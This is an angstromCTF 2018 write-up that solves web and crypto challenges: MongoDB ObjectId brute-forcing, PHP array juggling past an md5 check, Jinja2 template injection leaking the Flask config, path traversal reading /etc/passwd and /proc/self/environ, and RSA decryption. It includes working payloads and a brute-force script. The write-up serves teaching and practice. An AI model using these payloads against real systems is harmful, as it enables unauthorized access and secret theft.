angstromCTF 2018 - Write-ups

🔗Information

🔗Version

By Version Comment
noraj 1.0 Creation

🔗CTF

🔗230 - The Best Website - Web

I have created what I believe to be the best website ever. Or maybe it's just really boring. I don't know.

Hint: My database is humongous!

The website is very boring but we can see that two requests are made:

The additional request is: http://web.angstromctf.com:7667/boxes?ids=5aac9e638818c1001cc7391f,5aac9e638818c1001cc73920,5aac9e638818c1001cc73921

Let's see where does it come from.

The website template is Ion by TEMPLATED. Web can download the template to compare it with the actual website.

This script (/js/init.js) has been modified from the original one of the template.

There is a new functionality:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[...]

ids = ["5aac9e638818c1001cc7391f","5aac9e638818c1001cc73920","5aac9e638818c1001cc73921"];

[...]

$(function() {

$.ajax({
url: "/boxes?ids="+ids.join(","),
success: function(data) {
data = JSON.parse(data)
$("#box1_title").text(data.boxes[0].data.split("^")[0])
$("#box1_caption").text(data.boxes[0].data.split("^")[1])
$("#box2_title").text(data.boxes[1].data.split("^")[0])
$("#box2_caption").text(data.boxes[1].data.split("^")[1])
$("#box3_title").text(data.boxes[2].data.split("^")[0])
$("#box3_caption").text(data.boxes[2].data.split("^")[1])
}
})
});

[...]

So this is where the second request comes from. Let's request it manually:

1
$ curl http://web.angstromctf.com:7667/boxes?ids=5aac9e638818c1001cc7391f,5aac9e638818c1001cc73920,5aac9e638818c1001cc73921

Here is the beautified output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"boxes": [
{
"_id": "5aac9e638818c1001cc7391f",
"data": "Go away.^This website has literally nothing of interest. You might as well leave.",
"__v": 0
},
{
"_id": "5aac9e638818c1001cc73920",
"data": "You will be very bored.^Seriously, there's nothing interesting.",
"__v": 0
},
{
"_id": "5aac9e638818c1001cc73921",
"data": "Please just leave.^Scrolling more will only give you more boring content.",
"__v": 0
}
]
}

We can recognize the MongoDB JSON structure with _id. So the arguments passed to boxes endpoint are some ObjectId.

From the MongoDB documentation we can see that ObjectId are 12 bytes long and structured like that:

  • a 4-byte value representing the seconds since the Unix epoch,
  • a 3-byte machine identifier,
  • a 2-byte process id, and
  • a 3-byte counter, starting with a random value.

Let's reverse the logic with the first arg: 5aac9e638818c1001cc7391f

  • epoch : 5aac9e63 (hex) => 1521262179 (dec) => 2018-03-17T04:49:39+00:00 (timestamp to date)
  • machine id : 8818c1 (hex)
  • process id : 001c (hex) => 28 (dec)
  • counter : c7391f (hex) => 13056287 (dec)

Now let's introduce a new information: in the source code we can see this html comment:

1
<!--developers: make sure to record your actions in log.txt-->

log.txt is containing those 4 lines:

1
2
3
4
Sat Aug 10 2017 10:23:17 GMT-0400 (EDT) - Initial website
Sat Aug 10 2017 14:54:07 GMT-0400 (EDT) - Database integration
Sat Aug 11 2017 14:08:54 GMT-0400 (EDT) - Make some changes to the text
Sat Mar 17 2018 04:49:45 GMT+0000 (UTC) - Add super secret flag to database

We can see in the 3 arg passed to boxes that they have the same Unix epoch 2018-03-17T04:49:39+00:00 but the log.txt tells us that the flag was added at 2018-03-17T04:49:45+00:00.

We just have to reverse the process, converting the date to timestamp and the decimal timestamp to hexadecimal: 2018-03-17T04:49:45+00:00 (ISO 8601 date) => 1521262185 (decimal) => 5aac9e69 (hexadecimal).

The machine id and process id don't change and we can see that the 2 first bytes of the counter are fixed: c739. So we just have to bruteforce one byte from 0 to 255 (00-ff in hex).

Finally we have 5aac9e69 + 8818c1 + 001c + c739 + 00-ff = from 5aac9e698818c1001cc73900 to 5aac9e698818c1001cc739ff.

Requesting for non existing values will return null:

1
2
$ curl http://web.angstromctf.com:7667/boxes?ids=a,a,a
{"boxes":[null,null,null]}

So I made a ruby script to bruteforce those values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env ruby

require 'net/https'

# Vulnerable URL
uri = URI('http://web.angstromctf.com:7667/boxes')
# http config
http = Net::HTTP.new(uri.host, uri.port)

# bruteforce objectid
(1..255).each do |id|
params = { :ids => "a,a,5aac9e698818c1001cc739%02x" % id }
uri.query = URI.encode_www_form(params)
req = Net::HTTP::Get.new(uri)
res = http.request(req)
output = res.body.match(/null,null,(.*)\]}/).captures[0] if res.is_a?(Net::HTTPSuccess)
puts output unless output == 'null'
end

And finally my script is outputting the following object:

1
{"_id":"5aac9e698818c1001cc73922","data":"actf{0bj3ct_ids_ar3nt_s3cr3ts}","__v":0}

🔗140 - md5 - Web

defund's a true MD5 fan, and he has a site to prove it.

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include 'secret.php';
if($_GET["str1"] and $_GET["str2"]) {
if ($_GET["str1"] !== $_GET["str2"] and
hash("md5", $salt . $_GET["str1"]) === hash("md5", $salt . $_GET["str2"])) {
echo $flag;
} else {
echo "Sorry, you're wrong.";
}
exit();
}
?>

We can't abuse md5 cryptography or PHP loose comparison this time. But instead of providing strings to str1 and str2 we can call them as array by doing ?str1[]=a instead of ?str1=a.

If we call ?str1[]=a&str2[]=b we will have two different values for $_GET["str1"] !== $_GET["str2"] but we will fool PHP because it is doing a concatenation with $salt . $_GET["str1"] so the array will be casted to a string.

And you know what? When an array is casted to a string in PHP the resulting string won't be about the content of the flattened array but the Array word. Any array casted to string will be equal then. See by yourself:

1
2
3
4
5
6
7
8
9
$ php -a
Interactive shell

php > echo (String)["a"];
PHP Notice: Array to string conversion in php shell code on line 1
Array
php > echo (String)["b"];
PHP Notice: Array to string conversion in php shell code on line 1
Array

Doing so we get the flag: actf{but_md5_has_charm}.

🔗120 - MadLibs - Web

When Ian was a kid, he loved to play goofy Madlibs all day long. Now, he's decided to write his own website to generate them!

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask, render_template, render_template_string, send_from_directory, request
from jinja2 import Environment, FileSystemLoader
from time import gmtime, strftime
template_dir = './templates'
env = Environment(loader=FileSystemLoader(template_dir))


madlib_names = ["The Tale of a Person","A Random Story"]
story_fields = {
"The Tale of a Person":['Author Name','Adjective','Noun','Verb'],
"A Random Story":['Author Name','Adjective','Noun','Any first name','Verb']
}

app = Flask(__name__)
app.secret_key = open("flag.txt").read()

@app.route("/",methods=["GET"])
def home():
return render_template("home.html",libs=madlib_names)

@app.route("/form/<templatename>",methods=["GET"])
def madlib(templatename):
global madlib_names
if templatename in madlib_names:
return render_template("home.html",libs=madlib_names,title=templatename,fields=story_fields[templatename])
else:
error_message = 'The MadLib with title "' + templatename + '" could not be found.'
return render_template("home.html",libs=madlib_names,message=error_message)

@app.route("/result/<templatename>",methods=["POST"])
def output(templatename):

if templatename not in madlib_names:
return "Template not found."

inpValues = []
for i in range(len(story_fields[templatename])):
if not request.form[str(i+1)]:
return "All form fields must be filled"
else:
inpValues.append(request.form[str(i+1)][:24])

authorName = inpValues.pop(0)[:12]
try:
comment = render_template_string('''This MadLib with title %s was created by %s at %s''' % (templatename, authorName, strftime("%Y-%m-%d %H:%M:%S", gmtime())))
except:
comment = "Error generating comment."
return render_template("_".join(templatename.lower().split())+".html",libtitle=templatename,footer=comment, libentries=inpValues)


@app.route("/get-source", methods=["GET","POST"])
def source():
return send_from_directory('./','app.py')

if __name__ == "__main__":
app.run(host='0.0.0.0', port=7777, threaded=True)

This a Flask web application, the parameter authorName is vulnerable to SSTI (Server-Side Template Injection).

As I recommended you in ASIS 2017 Final write-ups, you can take a look at Exploring SSTI in Flask/Jinja2.

To check if the field is SSTI vulnerable we can use the following payload {{ 7*7 }}. If the app displays 42 it is vulnerable.

To dump all the app config I usually inject {{ config.items() }}, this will also include SECRET_KEY.

But here it seems we can't use an input longer than 12 chars. So I used only {{config)}} instead.

The flag is actf{wow_ur_a_jinja_ninja}.

🔗160 - File Storer - Web

My friend made a file storage website that he says is super secure. Can you prove him wrong and get the admin password?

Just begin by signing up and logging in.

Then you will be able to upload remote files:

So provide a remote image like the french flag.

The URL of the uploaded image is: http://web2.angstromctf.com:8899/files/Flag_of_France.svg

So let's try a LFRU (Local File Remote Upload, it's a joke).

http://web2.angstromctf.com:8899/files/../../../../etc/passwd won't work and will tell you file already exists. So try to URL encode the slashes http://web2.angstromctf.com:8899/files/..%2F..%2F..%2F..%2Fetc%2Fpasswd like for LFI.

Now you are able to leak local files:

/etc/passwd is useless here, let's try /proc/self/environ to see if there are some interesting environment variables http://web2.angstromctf.com:8899/files/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron.

Flag is actf{2_und3rsc0res_h1des_n0th1ng}.

Note: if you get file already exists even with URL encoding, just add some ..%2F because if another user already uploaded the file with the exact same path you can't override it.

🔗50 - Intro to RSA - Crypto

One common method of public key encryption is the RSA algorithm. Given p, q, e, and c, see if you can recover the message and find the flag!

RSA params are:

1
2
3
4
p = 169524110085046954319747170465105648233168702937955683889447853815898670069828343980818367807171215202643149176857117014826791242142210124521380573480143683660195568906553119683192470329413953411905742074448392816913467035316596822218317488903257069007949137629543010054246885909276872349326142152285347048927
q = 170780128973387404254550233211898468299200117082734909936129463191969072080198908267381169837578188594808676174446856901962451707859231958269401958672950141944679827844646158659922175597068183903642473161665782065958249304202759597168259072368123700040163659262941978786363797334903233540121308223989457248267
e = 65537
c = 4531850464036745618300770366164614386495084945985129111541252641569745463086472656370005978297267807299415858324820149933137259813719550825795569865301790252501254180057121806754411506817019631341846094836070057184169015820234429382145019281935017707994070217705460907511942438972962653164287761695982230728969508370400854478181107445003385579261993625770566932506870421547033934140554009090766102575218045185956824020910463996496543098753308927618692783836021742365910050093343747616861660744940014683025321538719970946739880943167282065095406465354971096477229669290277771547093476011147370441338501427786766482964

There is nothing to break, we only need to decipher it.

Here is my ruby script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/ruby

require 'openssl'

# Source of int2Text: http://stackoverflow.com/questions/42993763/how-to-convert-bytes-in-number-into-a-string-of-characters-character-represent#42999986
def int2Text(int)
a = []
while int>0
a << (int & 0xFF)
int >>= 8
end
return a.reverse.pack('C*')
end

# Source of egcd: https://gist.github.com/jsanders/6735046
def egcd(a, b)
u_a, v_a, u_b, v_b = [ 1, 0, 0, 1 ]
while a != 0
q = b / a
a, b = [ b - q*a, a ]
u_a, v_a, u_b, v_b = [ u_b - q*u_a, v_b - q*v_a, u_a, v_a ]
# Each time, `u_a*a' + v_a*b' = a` and `u_b*a' + v_b*b' = b`
end
[ b, u_b, v_b ]
end

def modinv(a, m)
g, x, y = egcd(a, m)
if g != 1
raise 'modular inverse does not exist'
else
return x % m
end
end

File.open('files/intro_rsa.txt', 'r') do |f|
data = f.read()
# Get params
c = data.match(/^c = ([0-9]*)$/).captures[0].to_i
e = data.match(/^e = ([0-9]*)$/).captures[0].to_i
p_int = data.match(/^p = ([0-9]*)$/).captures[0].to_i
q = data.match(/^q = ([0-9]*)$/).captures[0].to_i
# Calc other params
phi = (p_int - 1) * (q - 1)
d = modinv(e, phi)
n = p_int*q
# more efficient than m_int = (c ** d) % n
m_int = c.to_bn.mod_exp(d, n).to_i
m_text = int2Text(m_int)
# Display cleartext
puts m_text
end

Just run it:

1
2
$ ruby rsa.rb
actf{rsa_is_reallllly_fun!!!!!!}
Share